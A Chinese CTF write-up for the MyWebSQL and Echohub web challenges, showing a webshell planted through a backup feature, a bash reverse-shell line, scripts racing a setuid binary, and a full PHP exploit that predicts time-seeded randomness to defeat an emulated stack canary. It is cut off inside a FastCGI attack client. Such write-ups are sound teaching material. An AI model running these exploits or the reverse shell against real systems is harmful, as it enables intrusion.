CTF 2019 Mywebsql Echohub WriteUp

栏目: 后端 · 前端 · 发布时间: 6年前

内容简介:很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:

很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。

Mywebsql

题目信息

打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:

CTF 2019 Mywebsql Echohub WriteUp

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201902-318

漏洞文档中说明漏洞利用条件为后台,尝试弱口令admin/admin登录后台成功。

创建表并添加一句话木马到表内数据,利用备份功能将该表内数据备份为.php结尾文件,成功获取Webshell(密码不添加引号,避免备份转义导致失败),地址为:

http://35.243.82.53:10080/backups/xxxx.php

连上 shell 找到flag位于根目录下,但是却没有权限直接访问,但是同目录下发现readflag文件,执行后需要输入验证码:

CTF 2019 Mywebsql Echohub WriteUp

下载程序并使用IDA进行查看:

CTF 2019 Mywebsql Echohub WriteUp

发现输出flag处使用了ualarm()函数,将使当前进程在0x3E8u(us位单位)内产生会终止当前进程的SIGALRM信号。

管道解法

在当前进程收到退出信号前,完成验证码计算并提交,获取flag,只要是考查管道。

因为时间很短,网络延迟高,因此这里攻击脚本只能在服务器上运行,以求快速。

php

php虽然是题目的默认环境但是感觉并不是特别好用。

  • 首先最常见的system,exec,没有管道,无法获取输入输出进行交互。

  • 接着就是popen,打开一个指向进程的管道,只不过它是单向的(只能用于读或写)。

  • 最后的解决方案proc_open,执行命令,并且打开用来输入/输出的文件指针。

  • 此处为追求程序的速度,不能在 php 中使用explode,preg_match等准确但损耗性能的函数,可以选取substr或更优雅的str_replace,但可能因为php本身性能偶尔还是会超时。

脚本如下:

<?php
$descriptorspec = array(
0 => array("pipe", "r"),  
1 => array("pipe", "w"), 
2 => array("file", "/tmp/error-output.txt", "a")
);

$cwd = '/tmp';
$stime=microtime(true);
$process = proc_open('/readflag 2>&1', $descriptorspec, $pipes, $cwd);


$string = stream_get_contents($pipes[1],130);
$string = str_replace('Solve the easy challenge first','',$string);
$string = str_replace('input your answer:','',$string);
$string = str_replace('\n','',$string);
$result = eval("return $rs;");
echo $result;
fwrite($pipes[0], "$result\n");

$rs = stream_get_contents($pipes[1],130);
echo $rs;
fclose($pipes[1]);

perl

这是官方解法,但是对 perl 却不太熟悉,感觉perl速度可能更快

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

python

最开始并没有发现装有python

CTF 2019 Mywebsql Echohub WriteUp

结果是 python 3,似乎丢一个python3的执行文件上去就可执行,打算测试时服务器已经关闭,未测试

CTF 2019 Mywebsql Echohub WriteUp

信号解法

ualarm()函数通过SIGALRM信号结束进程,可以通过trap命令修改SIGALRM信号的处理方式:

比如,按Ctrl+C会使脚本终止执行,实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了。

trap命令的参数分为两部分,前一部分是接收到指定信号时将要采取的行动,后一部分是要处理的信号名。

  • 首先反弹可以交互bash

  1. bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

  • 重新定义SIGALRM信号的处理方式为不作任何操作

    1. trap "" 14

    Echohub

    题目信息

    官方HINT:

    CTF 2019 Mywebsql Echohub WriteUp

    CTF 2019 Mywebsql Echohub WriteUp

    表单中输入啥都会返回phpInfo,:

    CTF 2019 Mywebsql Echohub WriteUp

    查看源码发现可以添加参数获得源码?source=1

    Sandbox.php

    <?php
    $banner = <<<EOF
    <!--/?source=1-->
    <pre>
     .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  
    | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | 
    | |  _________   | || |     ______   | || |  ____  ____  | || |     ____     | || |  ____  ____  | || | _____  _____ | || |   ______     | | 
    | | |_   ___  |  | || |   .' ___  |  | || | |_   ||   _| | || |   .'    `.   | || | |_   ||   _| | || ||_   _||_   _|| || |  |_   _ \    | | 
    | |   | |_  \_|  | || |  / .'   \_|  | || |   | |__| |   | || |  /  .--.  \  | || |   | |__| |   | || |  | |    | |  | || |    | |_) |   | | 
    | |   |  _|  _   | || |  | |         | || |   |  __  |   | || |  | |    | |  | || |   |  __  |   | || |  | '    ' |  | || |    |  __'.   | | 
    | |  _| |___/ |  | || |  \ `.___.'\  | || |  _| |  | |_  | || |  \  `--'  /  | || |  _| |  | |_  | || |   \ `--' /   | || |   _| |__) |  | | 
    | | |_________|  | || |   `._____.'  | || | |____||____| | || |   `.____.'   | || | |____||____| | || |    `.__.'    | || |  |_______/   | | 
    | |              | || |              | || |              | || |              | || |              | || |              | || |              | | 
    | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | 
     '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  
     
     Welcome to random stack ! Try to execute `/readflag` :stuck_out_tongue:
     
     </pre>
    
     <form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
    EOF;
    echo $banner;
    if(isset($_GET['source'])){
        $file = fopen("index.php","r");
        $contents = fread($file,filesize("index.php"));
        echo "---------------sourcecode---------------";
        echo base64_encode($contents);
        echo "----------------------------------------";
        fclose($file);
        //Dockerfile here
        echo "Dockerfile here"; //此处太长省略
        highlight_file(__FILE__);
    
    }
    $disable_functions = ini_get("disable_functions");
    $loadext = get_loaded_extensions();
    foreach ($loadext as $ext) {
        if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
        else {
            if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
                $dfunc = join(',',get_extension_funcs($ext));
            else
                continue;
            $disable_functions = $disable_functions.$dfunc.",";
    
        }
    }
    $func = get_defined_functions()["internal"];
    foreach ($func as $f){
        if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
            $disable_functions = $disable_functions.$f.",";
        }
    }
    
    ini_set("disable_functions", $disable_functions);
    ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");

    可以得到安装的dockerfile,经过Base64解码后内容为内容为:

    FROM ubuntu:18.04
    
    RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
    RUN apt-get update
    RUN apt-get -y install software-properties-common
    RUN add-apt-repository -y ppa:ondrej/php
    RUN apt-get update
    RUN apt-get -y upgrade
    RUN apt-get -y install tzdata
    RUN apt-get -y install vim
    RUN apt-get -y install apache2
    RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install
    RUN service --status-all | awk '{print $4}'| xargs -i service {} stop
    
    RUN rm /var/www/html/index.html
    COPY randomstack.php /var/www/html/index.php
    COPY sandbox.php /var/www/html/sandbox.php
    RUN chmod 755 -R /var/www/html/
    COPY flag /flag
    COPY readflag /readflag
    RUN chmod 555 /readflag
    RUN chmod u+s /readflag
    RUN chmod 500 /flag
    COPY ./run.sh /run.sh
    COPY ./php.ini /etc/php/7.3/apache2/php.ini
    RUN chmod 700 /run.sh
    
    CMD ["/run.sh"]

    安装了PHP7.3的全部拓展,并且根据HINT运行了全部安装的的服务,Webserver是apache2:

    CTF 2019 Mywebsql Echohub WriteUp

    还能发现Base64输出了index.php的源码,解码后发现代码经过mzphp2混淆,这里可以直接花钱解密O(∩_∩)O哈哈~

    index.php(Decode)

    <?php
    require_once 'sandbox.php';
    $seed = time();
    srand($seed);
    define("INS_OFFSET",rand(0x0000,0xffff));
    $regs = array(
        'eax'=>0x0,
        'ebp'=>0x0,
        'esp'=>0x0,
        'eip'=>0x0,
    );
    function aslr(&$value,$key)
    {
        $value = $value + 0x60000000 + INS_OFFSET + 1 ;
    }
    $func_ = array_flip($func);
    array_walk($func_,"aslr");
    $plt = array_flip($func_);
    function handle_data($data){
        $data_len = strlen($data);
        $bytes4_size = $data_len/4+(1*($data_len%4));
        $cut_data = str_split($data,4);
        $cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"\x00");
        foreach ($cut_data as $key=>&$value){
            $value = strrev(bin2hex($value));
        }
        return $cut_data;
    }
    function gen_canary(){
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
        $c_1 = $chars[rand(0,strlen($chars)-1)];
        $c_2 = $chars[rand(0,strlen($chars)-1)];
        $c_3 = $chars[rand(0,strlen($chars)-1)];
        $c_4 = "\x00";
        return handle_data($c_1.$c_2.$c_3.$c_4)[0];
    }
    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary(){
        global $canary;
        global $canarycheck;
        if($canary != $canarycheck){
            die("emmmmmm...Don't attack me!");
        }
    }
    Class stack{
        private $ebp,$stack,$esp;
        public function __construct($retaddr,$data) {
            $this->stack = array();
            global $regs;
            $this->ebp = &$regs['ebp'];
            $this->esp = &$regs['esp'];
            $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
            global $canary;
            $this->stack[$this->ebp - 0x4] = &$canary;
            $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
            $this->esp = $this->ebp - (rand(0x20,0x60)*4);
            $this->stack[$this->ebp + 0x4] = dechex($retaddr);
            if($data != NULL)
                $this->pushdata($data);
        }
        public function pushdata($data){
            $data = handle_data($data);
            for($i=0;$i<count($data);$i++){
                $this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
                check_canary();
            }
        }
        public function recover_data($data){
            return hex2bin(strrev($data));
        }
        public function outputdata(){
            global $regs;
            echo "root says: ";
            while(1){
                if($this->esp == $this->ebp-0x4)
                    break;
                $this->pop("eax");
                $data = $this->recover_data($regs["eax"]);
                $tmp = explode("\x00",$data);
                echo $tmp[0];
                if(count($tmp)>1){
                    break;
                }
            }
        }
        public function ret(){
            $this->esp = $this->ebp;
            $this->pop('ebp');
            $this->pop("eip");
            $this->call();
        }
        public function get_data_from_reg($regname){
            global $regs;
            $data = $this->recover_data($regs[$regname]);
            $tmp = explode("\x00",$data);
            return $tmp[0];
        }
        public function call()
        {
            global $regs;
            global $plt;
            $funcaddr = hexdec($regs['eip']);
            if(isset($_REQUEST[$funcaddr])) {
                $this->pop('eax');
                $argnum = (int)$this->get_data_from_reg("eax");
                $args = array();
                for($i=0;$i<$argnum;$i++){
                    $this->pop('eax');
                    $argaddr = $this->get_data_from_reg("eax");
                    array_push($args,$_REQUEST[$argaddr]);
                }
                call_user_func_array($plt[$funcaddr],$args);
            }
            else
            {
                call_user_func($plt[$funcaddr]);
            }
        }
        public function push($reg){
            global $regs;
            $reg_data = $regs[$reg];
            if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
            $this->stack[$this->esp] = $reg_data;
            $this->esp -= 4;
        }
        public function pop($reg){
            global $regs;
            $regs[$reg] = $this->stack[$this->esp];
            $this->esp += 4;
        }
        public function __call($_a1,$_a2)
        {
            check_canary();
        }
    }
    if(isset($_POST['data'])) {
            $phpinfo_addr = array_search('phpinfo', $plt);
            $gets = $_POST['data'];
            $main_stack = new stack($phpinfo_addr, $gets);
            echo "--------------------output---------------------</br></br>";
            $main_stack->outputdata();
            echo "</br></br>------------------phpinfo()------------------</br>";
            $main_stack->ret();
    }

    可以发现这是一个使用php实现的栈,ORZ,很有意思。

    解题

    要点梳理

    ORZ,现在梳理一下两个页面的代码逻辑:

    sandbox.php:

    • 禁用许多函数,比如函数名种包括file、open字符的函数都会被禁用。

    foreach ( $func as $f ) {
    if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) {
       $disable_functions = $disable_functions . $f . ",";
    }
    }
    • 获取全部的内置函数名称,存在$func变量中。

    $func = get_defined_functions()["internal"];

    index.php:

    以当前时间进行随机数播种:

    $seed = time();
    srand( $seed );

    将包含全部的内置函数名称的$func转化为'地址'=>'函数名'的$plt数组,并且被aslr保护,也就是键值随机。

    define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
    function aslr(&$value,$key)
    {
        $value = $value + 0x60000000 + INS_OFFSET + 1 ;
    }
    $func_ = array_flip($func);
    array_walk($func_,"aslr");
    $plt = array_flip($func_);

    栈内初始化时有canary机制,在栈内随机初始化一个$canary,用于检测栈是否遭受缓冲区溢出。

    栈内压入局部变量时会校验当前栈内的$canary是否和$canarycheck一致,若不一致就表示遭到攻击,过长的缓冲区溢出就会退出。

    function gen_canary(){
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
        $c_1 = $chars[rand(0,strlen($chars)-1)];
        $c_2 = $chars[rand(0,strlen($chars)-1)];
        $c_3 = $chars[rand(0,strlen($chars)-1)];
        $c_4 = "\x00";
        return handle_data($c_1.$c_2.$c_3.$c_4)[0];
    }
    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary(){
        global $canary;
        global $canarycheck;
        if($canary != $canarycheck){
            die("emmmmmm...Don't attack me!");
        }
    }
    Class stack{
        private $ebp,$stack,$esp;
        public function __construct($retaddr,$data) {
            $this->stack = array();
            global $regs;
            $this->ebp = &$regs['ebp'];
            $this->esp = &$regs['esp'];
            $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
            global $canary;
            $this->stack[$this->ebp - 0x4] = &$canary;
            $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
            $this->esp = $this->ebp - (rand(0x20,0x60)*4);
            $this->stack[$this->ebp + 0x4] = dechex($retaddr);
            if($data != NULL)
                $this->pushdata($data);
        }

    phpinfo的函数地址被默认放在ebp + 0x4(函数结束后eip的下一跳),去$plt映射表中找到函数名,传给call_user_func完成执行,因此正常输入都会返回phpinfo信息。

    public function call() {
       global $regs;
       global $plt;
       $a = hexdec( $regs['eip'] );
       if ( isset( $_REQUEST[ $a ] ) ) {
          $this->pop( 'eax' );
          $len  = (int) $this->get_data_from_reg( 'eax' );
          $args = array();
          for ( $i = 0; $i < $len; $i ++ ) {
             $this->pop( 'eax' );
             $data = $this->get_data_from_reg( 'eax' );
             array_push( $args, $_REQUEST[ $data ] );
          }
          call_user_func_array( $plt[ $a ], $args );
       } else {
          call_user_func( $plt[ $a ] );
       }
    }

    解决思路:

    这是一个缓冲区溢出的题目,和bin的栈溢出的思路没什么太大的区别。首先绕过aslr获取利用恶意函数地址,在绕过canary保护完成栈覆盖,控制返回地址,调用恶意函数完成代码执行。

    防护绕过

    可以发现不管是aslr还是canary都是根据随机数进行初始化,而随机数的的种子则是每次请求的时间time()。

    经过测试发现题目服务器上的时间设置和我们是一致的,服务器time()函数返回的时间和本地time()函数返回的时间一致:

    echo time() . "\n";
    function _httpPost( $url = "", $requestData = array() ) {
    	$curl = curl_init();
    	curl_setopt( $curl, CURLOPT_URL, $url );
    	curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
    	curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
    	$res = curl_exec( $curl );
    
    	//$info = curl_getinfo($ch);
    	curl_close( $curl );
    
    	return $res;
    }
    $data = array( 'data' => 'Test time' );
    $rs   = _httpPost( 'http://34.85.27.91:10080/', $data );
    echo $rs;

    随机数的种子可以获取,因此对rand函数结果产生的的随机数就可以在本地进行预测,因此aslr,canary均失效。

    直接根据源码修改得到获取webshell的EXP:

    <?php
    $disable_functions = ini_get( "disable_functions" );
    $loadext           = get_loaded_extensions();
    foreach ( $loadext as $ext ) {
    	if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) {
    		continue;
    	} else {
    		if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) {
    			$dfunc = join( ',', get_extension_funcs( $ext ) );
    		} else {
    			continue;
    		}
    		$disable_functions = $disable_functions . $dfunc . ",";
    
    	}
    }
    $func = get_defined_functions()["internal"];
    
    $seed = time();
    srand( $seed );
    define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
    $regs = array( 'eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0 );
    function aslr( &$a, $O0O ) {
    	$a = $a + 0x60000000 + INS_OFFSET + 0x1;
    }
    
    //构造函数地址
    $func_ = array_flip( $func );
    array_walk( $func_, 'aslr' );
    $plt = array_flip( $func_ );
    
    
    function handle_data( $data ) {
    	$len             = strlen( $data );
    	$a               = $len / 0x4 + 0x1 * ( $len % 0x4 );
    	$ret             = str_split( $data, 0x4 );
    	$ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "\x00" );
    	foreach ( $ret as $key => &$value ) {
    		$value = strrev( bin2hex( $value ) );
    	}
    
    	return $ret;
    }
    
    function gen_canary() {
    	$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    	$a      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    	$b      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    	$c      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    	$d      = "\x00";
    
    	return handle_data( $a . $b . $c . $d )[0];
    }
    
    $canary      = gen_canary();
    $canarycheck = $canary;
    function check_canary() {
    	global $canary;
    	global $canarycheck;
    	if ( $canary != $canarycheck ) {
    		die( 'emmmmmm...Don\'t attack me!' );
    	}
    }
    
    class stack {
    	public $ebp, $stack, $esp;
    
    	public function __construct( $a, $b ) {
    		$this->stack = array();
    		global $regs;
    		$this->ebp =& $regs['ebp'];
    		$this->esp =& $regs['esp'];
    		$this->ebp = 0xfffe0000 + rand( 0x0, 0xffff );
    		global $canary;
    		$this->stack[ $this->ebp - 0x4 ] =& $canary;
    		$this->canary                    = $canary;
    		$this->stack[ $this->ebp ]       = $this->ebp + rand( 0x0, 0xffff );
    		$this->esp                       = $this->ebp - rand( 0x20, 0x60 ) * 0x4;
    		$this->stack[ $this->ebp + 0x4 ] = dechex( $a );
    		if ( $b != null ) {
    			$this->pushdata( $b );
    		}
    	}
    
    	public function pushdata( $data ) {
    		$data_bak = $data;
    		$data     = handle_data( $data );
    		for ( $i = 0; $i < count( $data ); $i ++ ) {
    			$this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ];
    			//no args in my stack haha
    			check_canary();
    		}
    	}
    
    	public function recover_data( $data ) {
    		return hex2bin( strrev( $data ) );
    	}
    
    	public function outputdata() {
    		global $regs;
    		echo 'root says: ';
    		while ( 0x1 ) {
    			if ( $this->esp == $this->ebp - 0x4 ) {
    				break;
    			}
    			$this->pop( 'eax' );
    			$data = $this->recover_data( $regs['eax'] );
    			$ret  = explode( "\x00", $data );
    			echo $ret[0];
    			if ( count( $ret ) > 0x1 ) {
    				break;
    			}
    		}
    	}
    
    	public function ret() {
    		$this->esp = $this->ebp;
    		$this->pop( 'ebp' );
    		$this->pop( 'eip' );
    		$this->call();
    	}
    
    	public function get_data_from_reg( $item ) {
    		global $regs;
    		$a = $this->recover_data( $regs[ $item ] );
    		$b = explode( "\x00", $a );
    
    		return $b[0];
    	}
    
    	public function call() {
    		global $regs;
    		global $plt;
    		$a = hexdec( $regs['eip'] );
    		if ( isset( $_REQUEST[ $a ] ) ) {
    			$this->pop( 'eax' );
    			$len  = (int) $this->get_data_from_reg( 'eax' );
    			$args = array();
    			for ( $i = 0; $i < $len; $i ++ ) {
    				$this->pop( 'eax' );
    				$data = $this->get_data_from_reg( 'eax' );
    				array_push( $args, $_REQUEST[ $data ] );
    			}
    			call_user_func_array( $plt[ $a ], $args );
    		} else {
    			call_user_func( $plt[ $a ] );
    		}
    	}
    
    	public function push( $item ) {
    		global $regs;
    		$data = $regs[ $item ];
    		if ( hex2bin( strrev( $data ) ) == null ) {
    			die( 'data error' );
    		}
    		$this->stack[ $this->esp ] = $data;
    		$this->esp                 -= 0x4;
    	}
    
    	public function pop( $item ) {
    		global $regs;
    		$regs[ $item ] = $this->stack[ $this->esp ];
    		$this->esp     += 0x4;
    	}
    
    	public function __call( $name, $args ) {
    		check_canary();
    	}
    }
    
    function hexToStr( $hex ) {
    	$str = "";
    	for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
    		$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
    	}
    
    	return $str;
    }
    
    function _httpPost( $url = "", $requestData = array() ) {
    
    	$curl = curl_init();
    	#curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
    	curl_setopt( $curl, CURLOPT_URL, $url );
    	curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
    
    	//普通数据
    	curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
    	$res = curl_exec( $curl );
    
    	//$info = curl_getinfo($ch);
    	curl_close( $curl );
    
    	return $res;
    }
    
    $phpinfo_addr = array_search( 'phpinfo', $plt );
    $gets         = 'Rai4over';
    $main_stack1  = new stack( $phpinfo_addr, $gets );
    $ebp          = $main_stack1->ebp;
    $esp          = $main_stack1->esp;
    $padding_num  = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
    
    $shellcode                              = '$dir="./";$file=scandir($dir);print_r($file);';
    $post_data                              = array();
    $data                                   = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';
    $post_data['data']                      = $data;
    $post_data[ $func_['create_function'] ] = 'Rai4over';
    $post_data['6666']                      = '';
    $post_data['7777']                      = "'1';}" . $shellcode . "/*";
    
    $rs = _httpPost( "http://34.85.27.91:10080/", $post_data );
    echo $rs;

    CTF 2019 Mywebsql Echohub WriteUp

    本地构造栈,可以得到和服务器一样的栈结构($canarycheck,$plt等)

    CTF 2019 Mywebsql Echohub WriteUp

    栈由低地址向高地址推进,计算AAA填充长度,需要减去canary的长度(-4):

    $phpinfo_addr = array_search( 'phpinfo', $plt );
    $gets         = 'Rai4over';
    $main_stack1  = new stack( $phpinfo_addr, $gets );
    $ebp          = $main_stack1->ebp;
    $esp          = $main_stack1->esp;
    $padding_num  = ( $main_stack1->ebp - $main_stack1->esp ) - 4;

    计算并覆盖正确的canary,EBP值随意,根据call函数:

    public function call() {
    	global $regs;
    	global $plt;
    	$a = hexdec( $regs['eip'] );
    	if ( isset( $_REQUEST[ $a ] ) ) {
    		$this->pop( 'eax' );
    		$len  = (int) $this->get_data_from_reg( 'eax' );
    		$args = array();
    		for ( $i = 0; $i < $len; $i ++ ) {
    			$this->pop( 'eax' );
    			$data = $this->get_data_from_reg( 'eax' );
    			array_push( $args, $_REQUEST[ $data ] );
    		}
    		call_user_func_array( $plt[ $a ], $args );
    	} else {
    		call_user_func( $plt[ $a ] );
    	}
    }

    会调用call_user_func_array( $plt[ $a ], $args );,参数为数组,因此将ret地址覆盖为create_function函数地址,create_function可以接受数组。

    需要进入if分支,因此发送数据时需要发送包含create_function函数地址的查询参数。

    create_function函数传入的参数数量、还有参数的内容也在是通过栈内pop得到,因此我们因该继续覆盖:

    CTF 2019 Mywebsql Echohub WriteUp

    溢出缓冲区的data完整构造如下:

    $data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';

    现在已经获得受限制的webshell。

    攻击FPM

    当前apache2载入/etc/php/7.3/apache2/php.ini配置文件的php环境禁用了执行命令的函数,但是我们可以利用受限的webshell连接没有额外安全设置的默认安装并运行的的FPM,SSRF完成命令执行。

    控制FPM还需要利用auto_prepend_file+php://input包含进行php代码执行,再使用system函数反弹shell。

    FPM攻击脚本如下:

    <?php
    
    class TimedOutException extends \Exception {
    }
    
    class ForbiddenException extends \Exception {
    }
    
    
    class Client {
    	const VERSION_1 = 1;
    	const BEGIN_REQUEST = 1;
    	const ABORT_REQUEST = 2;
    	const END_REQUEST = 3;
    	const PARAMS = 4;
    	const STDIN = 5;
    	const STDOUT = 6;
    	const STDERR = 7;
    	const DATA = 8;
    	const GET_VALUES = 9;
    	const GET_VALUES_RESULT = 10;
    	const UNKNOWN_TYPE = 11;
    	const MAXTYPE = self::UNKNOWN_TYPE;
    	const RESPONDER = 1;
    	const AUTHORIZER = 2;
    	const FILTER = 3;
    	const REQUEST_COMPLETE = 0;
    	const CANT_MPX_CONN = 1;
    	const OVERLOADED = 2;
    	const UNKNOWN_ROLE = 3;
    	const MAX_CONNS = 'MAX_CONNS';
    	const MAX_REQS = 'MAX_REQS';
    	const MPXS_CONNS = 'MPXS_CONNS';
    	const HEADER_LEN = 8;
    	const REQ_STATE_WRITTEN = 1;
    	const REQ_STATE_OK = 2;
    	const REQ_STATE_ERR = 3;
    	const REQ_STATE_TIMED_OUT = 4;
    	/**
    	 * Socket
    	 * @var Resource
    	 */
    	private $_sock = null;
    	/**
    	 * Host
    	 * @var String
    	 */
    	private $_host = null;
    	/**
    	 * Port
    	 * @var Integer
    	 */
    	private $_port = null;
    	/**
    	 * Keep Alive
    	 * @var Boolean
    	 */
    	private $_keepAlive = false;
    	/**
    	 * Outstanding request statuses keyed by request id
    	 *
    	 * Each request is an array with following form:
    	 *
    	 *  array(
    	 *    'state' => REQ_STATE_*
    	 *    'response' => null | string
    	 *  )
    	 *
    	 * @var array
    	 */
    	private $_requests = array();
    	/**
    	 * Use persistent sockets to connect to backend
    	 * @var Boolean
    	 */
    	private $_persistentSocket = false;
    	/**
    	 * Connect timeout in milliseconds
    	 * @var Integer
    	 */
    	private $_connectTimeout = 5000;
    	/**
    	 * Read/Write timeout in milliseconds
    	 * @var Integer
    	 */
    	private $_readWriteTimeout = 5000;
    
    	/**
    	 * Constructor
    	 *
    	 * @param String $host Host of the FastCGI application
    	 * @param Integer $port Port of the FastCGI application
    	 */
    	public function __construct( $host, $port ) {
    		$this->_host = $host;
    		$this->_port = $port;
    	}
    
    	/**
    	 * Define whether or not the FastCGI application should keep the connection
    	 * alive at the end of a request
    	 *
    	 * @param Boolean $b true if the connection should stay alive, false otherwise
    	 */
    	public function setKeepAlive( $b ) {
    		$this->_keepAlive = (boolean) $b;
    		if ( ! $this->_keepAlive && $this->_sock ) {
    			fclose( $this->_sock );
    		}
    	}
    
    	/**
    	 * Get the keep alive status
    	 *
    	 * @return Boolean true if the connection should stay alive, false otherwise
    	 */
    	public function getKeepAlive() {
    		return $this->_keepAlive;
    	}
    
    	/**
    	 * Define whether or not PHP should attempt to re-use sockets opened by previous
    	 * request for efficiency
    	 *
    	 * @param Boolean $b true if persistent socket should be used, false otherwise
    	 */
    	public function setPersistentSocket( $b ) {
    		$was_persistent          = ( $this->_sock && $this->_persistentSocket );
    		$this->_persistentSocket = (boolean) $b;
    		if ( ! $this->_persistentSocket && $was_persistent ) {
    			fclose( $this->_sock );
    		}
    	}
    
    	/**
    	 * Get the pesistent socket status
    	 *
    	 * @return Boolean true if the socket should be persistent, false otherwise
    	 */
    	public function getPersistentSocket() {
    		return $this->_persistentSocket;
    	}
    
    	/**
    	 * Set the connect timeout
    	 *
    	 * @param Integer  number of milliseconds before connect will timeout
    	 */
    	public function setConnectTimeout( $timeoutMs ) {
    		$this->_connectTimeout = $timeoutMs;
    	}
    
    	/**
    	 * Get the connect timeout
    	 *
    	 * @return Integer  number of milliseconds before connect will timeout
    	 */
    	public function getConnectTimeout() {
    		return $this->_connectTimeout;
    	}
    
    	/**
    	 * Set the read/write timeout
    	 *
    	 * @param Integer  number of milliseconds before read or write call will timeout
    	 */
    	public function setReadWriteTimeout( $timeoutMs ) {
    		$this->_readWriteTimeout = $timeoutMs;
    		$this->set_ms_timeout( $this->_readWriteTimeout );
    	}
    
    	/**
    	 * Get the read timeout
    	 *
    	 * @return Integer  number of milliseconds before read will timeout
    	 */
    	public function getReadWriteTimeout() {
    		return $this->_readWriteTimeout;
    	}
    
    	/**
    	 * Helper to avoid duplicating milliseconds to secs/usecs in a few places
    	 *
    	 * @param Integer millisecond timeout
    	 *
    	 * @return Boolean
    	 */
    	private function set_ms_timeout( $timeoutMs ) {
    		if ( ! $this->_sock ) {
    			return false;
    		}
    
    		return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
    	}
    
    	/**
    	 * Create a connection to the FastCGI application
    	 */
    	private function connect() {
    		if ( ! $this->_sock ) {
    			if ( $this->_persistentSocket ) {
    				$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
    			} else {
    				$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
    			}
    			if ( ! $this->_sock ) {
    				throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
    			}
    			if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
    				throw new \Exception( 'Unable to set timeout on socket' );
    			}
    		}
    	}
    
    	/**
    	 * Build a FastCGI packet
    	 *
    	 * @param Integer $type Type of the packet
    	 * @param String $content Content of the packet
    	 * @param Integer $requestId RequestId
    	 */
    	private function buildPacket( $type, $content, $requestId = 1 ) {
    		$clen = strlen( $content );
    
    		return chr( self::VERSION_1 )         /* version */
    		       . chr( $type )                    /* type */
    		       . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
